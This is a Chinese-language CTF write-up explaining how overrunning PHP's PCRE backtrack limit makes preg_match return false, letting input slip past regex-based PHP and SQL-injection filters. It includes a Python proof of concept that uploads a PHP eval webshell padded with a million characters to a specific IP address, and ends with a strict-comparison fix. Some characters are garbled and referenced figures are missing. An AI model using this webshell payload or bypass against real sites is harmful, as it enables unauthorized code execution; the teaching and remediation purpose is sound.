PHP利用PCRE回溯次數(shù)限制繞過(guò)某些安全限制
這次 Code-Breaking Puzzles 中我出了一道看似很簡(jiǎn)單的題目pcrewaf，將其代碼簡(jiǎn)化如下：
- <?php
- function is_php($data){
- return preg_match('/<\?.*[(`;?>].*/is', $data);
- }
- if(!is_php($input)) {
- // fwrite($f, $input); ...
- }
大意是判斷一下用戶輸入的內(nèi)容有沒(méi)有 PHP 代碼，如果沒(méi)有，則寫(xiě)入文件。這種時(shí)候，如何繞過(guò) is_php() 函數(shù)來(lái)寫(xiě)入 webshell 呢?
這道題看似簡(jiǎn)單，深究其原理，還是值得寫(xiě)一篇文章的。
一、正則表達(dá)式是什么
正則表達(dá)式是一個(gè)可以被「有限狀態(tài)自動(dòng)機(jī)」接受的語(yǔ)言類。
「有限狀態(tài)自動(dòng)機(jī)」，其擁有有限數(shù)量的狀態(tài)，每個(gè)狀態(tài)可以遷移到零個(gè)或多個(gè)狀態(tài)，輸入字串決定執(zhí)行哪個(gè)狀態(tài)的遷移。
而常見(jiàn)的正則引擎，又被細(xì)分為 DFA(確定性有限狀態(tài)自動(dòng)機(jī))與 NFA(非確定性有限狀態(tài)自動(dòng)機(jī))。他們匹配輸入的過(guò)程分別是：
- DFA：從起始狀態(tài)開(kāi)始，一個(gè)字符一個(gè)字符地讀取輸入串，并根據(jù)正則來(lái)一步步確定至下一個(gè)轉(zhuǎn)移狀態(tài)，直到匹配不上或走完整個(gè)輸入
- NFA：從起始狀態(tài)開(kāi)始，一個(gè)字符一個(gè)字符地讀取輸入串，并與正則表達(dá)式進(jìn)行匹配，如果匹配不上，則進(jìn)行回溯，嘗試其他狀態(tài)
由于 NFA 的執(zhí)行過(guò)程存在回溯，所以其性能會(huì)劣于 DFA，但它支持更多功能。大多數(shù)程序語(yǔ)言都使用了 NFA 作為正則引擎，其中也包括 PHP 使用的 PCRE 庫(kù)。
二、回溯的過(guò)程是怎樣的
所以，我們題目中的正則 <\?.*[(`;?>].*，假設(shè)匹配的輸入是
見(jiàn)上圖，可見(jiàn)第 4 步的時(shí)候，因?yàn)榈谝粋€(gè) .* 可以匹配任何字符，所以最終匹配到了輸入串的結(jié)尾，也就是 //aaaaa。但此時(shí)顯然是不對(duì)的，因?yàn)檎齽t顯示.*后面還應(yīng)該有一個(gè)字符 [(`;?>]。
所以 NFA 就開(kāi)始回溯，先吐出一個(gè) a，輸入變成第 5 步顯示的 //aaaa，但仍然匹配不上正則，繼續(xù)吐出 a，變成 //aaa，仍然匹配不上……
最終直到吐出;，輸入變成第 12 步顯示的 ] ，這個(gè)結(jié)果滿足正則表達(dá)式的要求，于是不再回溯。13 步開(kāi)始向后匹配;，14 步匹配.*，第二個(gè).*匹配到了字符串末尾，最后結(jié)束匹配。
在調(diào)試正則表達(dá)式的時(shí)候，我們可以查看當(dāng)前回溯的次數(shù)：
這里回溯了 8 次。
三、PHP 的 pcre.backtrack_limit 限制利用
PHP 為了防止正則表達(dá)式的拒絕服務(wù)攻擊(reDOS)，給 pcre 設(shè)定了一個(gè)回溯次數(shù)上限 pcre.backtrack_limit。我們可以通過(guò) var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看當(dāng)前環(huán)境下的上限：
這里有個(gè)有趣的事情，就是 PHP 文檔中，中英文版本的數(shù)值是不一樣的：
我們應(yīng)該以英文版為參考。
可見(jiàn)，回溯次數(shù)上限默認(rèn)是 100 萬(wàn)。那么，假設(shè)我們的回溯次數(shù)超過(guò)了 100 萬(wàn)，會(huì)出現(xiàn)什么現(xiàn)象呢?比如：
可見(jiàn)，preg_match 返回的非 1 和 0，而是 false。
preg_match 函數(shù)返回 false 表示此次執(zhí)行失敗了，我們可以調(diào)用 var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);，發(fā)現(xiàn)失敗的原因的確是回溯次數(shù)超出了限制：
所以，這道題的答案就呼之欲出了。我們通過(guò)發(fā)送超長(zhǎng)字符串的方式，使正則執(zhí)行失敗，最后繞過(guò)目標(biāo)對(duì) PHP 語(yǔ)言的限制。
對(duì)應(yīng)的 POC 如下：
- import requests
- from io import BytesIO
- files = {
- 'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
- }
- res = requests.post('http://51.158.75.42:8088/index.php', filesfiles=files, allow_redirects=False)
- print(res.headers)
四、PCRE 另一種錯(cuò)誤的用法
延伸一下，很多基于 PHP 的 WAF，如：
- <?php
- if(preg_match('/SELECT.+FROM.+/is', $input)) {
- die('SQL Injection');
- }
均存在上述問(wèn)題，通過(guò)大量回溯可以進(jìn)行繞過(guò)。
另外，我遇到更常見(jiàn)的一種 WAF 是：
- <?php
- if(preg_match('/UNION.+?SELECT/is', $input)) {
- die('SQL Injection');
- }
這里涉及到了正則表達(dá)式的「非貪婪模式」。在 NFA 中，如果我輸入 UNION/*aaaaa*/SELECT，這個(gè)正則表達(dá)式執(zhí)行流程如下：
- .+? 匹配到/
- 因?yàn)榉秦澙纺Ｊ剑?+? 停止匹配，而由 S 匹配*
- S 匹配*失敗，回溯，再由.+? 匹配*
- 因?yàn)榉秦澙纺Ｊ剑?+? 停止匹配，而由 S 匹配 a
- S 匹配 a 失敗，回溯，再由.+? 匹配 a
- …
回溯次數(shù)隨著 a 的數(shù)量增加而增加。所以，我們?nèi)匀豢梢酝ㄟ^(guò)發(fā)送大量 a，來(lái)使回溯次數(shù)超出 pcre.backtrack_limit 限制，進(jìn)而繞過(guò) WAF：
五、修復(fù)方法
那么，如何修復(fù)這個(gè)問(wèn)題呢?
其實(shí)如果我們仔細(xì)觀察 PHP 文檔，是可以看到 preg_match 函數(shù)下面的警告的：
如果用 preg_match 對(duì)字符串進(jìn)行匹配，一定要使用===全等號(hào)來(lái)判斷返回值，如：
- <?php
- function is_php($data){
- return preg_match('/<\?.*[(`;?>].*/is', $data);
- }
- if(is_php($input) === 0) {
- // fwrite($f, $input); ...
- }
這樣，即使正則執(zhí)行失敗返回 false，也不會(huì)進(jìn)入 if 語(yǔ)句。
